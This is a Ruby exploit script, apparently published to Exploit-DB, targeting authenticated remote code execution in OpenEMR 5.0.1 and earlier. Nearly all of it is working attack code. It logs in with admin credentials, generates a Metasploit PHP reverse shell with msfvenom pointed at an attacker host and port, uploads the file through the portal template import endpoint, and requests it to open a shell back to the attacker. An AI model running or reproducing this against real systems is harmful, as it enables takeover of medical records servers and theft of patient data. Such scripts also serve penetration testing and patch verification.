#!/usr/bin/env ruby

# Title: OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution
# Exploit Author: Alexandre ZANNI
# Date: 2020-07-16
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
# Version: < 5.0.1 (Patch 4)
# Tested on: Ubuntu 18.04, OpenEMR Version 5.0.1.3
# References: https://www.exploit-db.com/exploits/48515

require 'httpclient'
require 'docopt'

shell_name = 'shell4.php'
user = 'openemr_admin'
password = 'xxxxxx'
payload = 'php/reverse_php'
lhost = '10.10.15.201'
lport = 8888

doc = <<~DOCOPT
  OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution

  Usage:
    #{__FILE__} manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
    #{__FILE__} semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
    #{__FILE__} auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
    #{__FILE__} -H | --help

  Options:
    -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder
    -s <filename>, --shell <filename>     Filename of the PHP reverse shell payload
    -u <username>, --user <username>      Username of the admin
    -p <password>, --password <password>  Password of the admin
    -m <payload>, --payload <payload>     Metasploit PHP payload
    -h <host>, --lhost <host>             Reverse shell local host
    -t <port>, --lport <port>             Reverse shell local port
    --debug                               Display arguments
    -H, --help                            Show this screen

  Examples:
    #{__FILE__} manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
    #{__FILE__} semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
    #{__FILE__} auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999
DOCOPT

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']
  if args['manual']
    shell_name = File.basename(args['--shell'])
    shell_path = args['--shell']
  else
    shell_name = "tmp#{rand(1000)}.php"
    shell_path = shell_name
  end
  if args['semi-auto']
    payload = args['--payload']
  else
    payload = 'php/reverse_php'
  end
  # Authentication data
  uri_1 = URI("#{args['--root-url']}/interface/main/main_screen.php?auth=login&site=default")
  data_1= {
    'new_login_session_management' => '1',
    'authProvider' => 'Default',
    'authUser' => args['--user'],
    'clearPass' => args['--password'],
    'languageChoice' => '1'
  }
  # Reverse shell data
  unless args['manual']
    puts "[+] Generating the reverse shell payload: #{shell_name}"
    %x(msfvenom -p #{payload} LHOST=#{args['--lhost']} LPORT=#{args['--lport']} -f raw > #{shell_name})
  end
  data_2 = {
    'site' => 'default',
    'mode' => 'save',
    'docid' => shell_name,
    'content' => File.read(shell_path)}
  uri_2 = URI("#{args['--root-url']}/portal/import_template.php?site=default")
  uri_3 = URI("#{args['--root-url']}/portal/#{shell_name}")

  clnt = HTTPClient.new

  puts '[+] Authenticating'
  clnt.post(uri_1, data_1)

  puts '[+] Uploading the reverse shell'
  clnt.post(uri_2, data_2)

  puts "[+] Executing the reverse shell: #{args['--root-url']}/portal/#{shell_name}"
  clnt.get(uri_3)
rescue Docopt::Exit => e
  puts e.message
end